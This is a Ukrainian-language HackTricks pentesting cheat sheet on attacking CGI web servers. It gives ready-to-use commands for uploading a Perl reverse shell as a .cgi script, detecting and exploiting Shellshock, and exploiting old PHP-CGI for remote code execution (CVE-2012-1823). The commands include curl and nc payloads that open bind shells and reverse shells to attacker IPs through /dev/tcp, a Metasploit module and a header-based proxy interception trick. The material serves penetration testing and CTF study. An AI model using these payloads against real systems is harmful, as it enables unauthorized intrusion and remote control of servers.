CGI

Support HackTricks

Information

CGI-скрипти - це perl-скрипти, тому, якщо ви зламали сервер, який може виконувати .cgi скрипти, ви можете завантажити perl реверс-шелл (/usr/share/webshells/perl/perl-reverse-shell.pl), змінити розширення з .pl на .cgi, надати дозволи на виконання (chmod +x) і отримати доступ до реверс-шеллу з веб-браузера для його виконання. Щоб перевірити наявність CGI вразливостей, рекомендується використовувати nikto -C all (і всі плагіни)

ShellShock

ShellShock - це вразливість, яка впливає на широко використовувану Bash командну оболонку в Unix-подібних операційних системах. Вона націлена на здатність Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції змінними середовища, які є динамічними іменованими значеннями, що впливають на те, як процеси працюють на комп'ютері. Зловмисники можуть експлуатувати це, прикріплюючи шкідливий код до змінних середовища, який виконується при отриманні змінної. Це дозволяє зловмисникам потенційно скомпрометувати систему.

Експлуатуючи цю вразливість, сторінка може викидати помилку.

Ви можете знайти цю вразливість, помітивши, що використовується стара версія Apache і cgi_mod (з папкою cgi) або використовуючи nikto.

Test

Більшість тестів базуються на ехо чогось і очікують, що ця строка буде повернена у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, шукайте всі cgi-сторінки та тестуйте їх.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (відображений, сліпий та поза каналом)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Експлуатація

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM до запитів веб-сервера)

CGI створює змінну середовища для кожного заголовка в http запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"

Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте надіслати заголовок, що містить: "Proxy: <IP_attacker>:<PORT>" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером.

Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

В основному, якщо cgi активний і php "старий" (<5.3.12 / < 5.4.2) ви можете виконати код. Щоб експлуатувати цю вразливість, вам потрібно отримати доступ до деякого PHP файлу веб-сервера без надсилання параметрів (особливо без надсилання символу "="). Тоді, щоб протестувати цю вразливість, ви можете отримати доступ, наприклад, до /index.php?-s (зверніть увагу на -s) і код програми з'явиться у відповіді.

Тоді, щоб отримати RCE, ви можете надіслати цей спеціальний запит: /?-d allow_url_include=1 -d auto_prepend_file=php://input і PHP код для виконання в тілі запиту. Приклад:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Більше інформації про вразливість та можливі експлойти: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Підтримати HackTricks

Last updated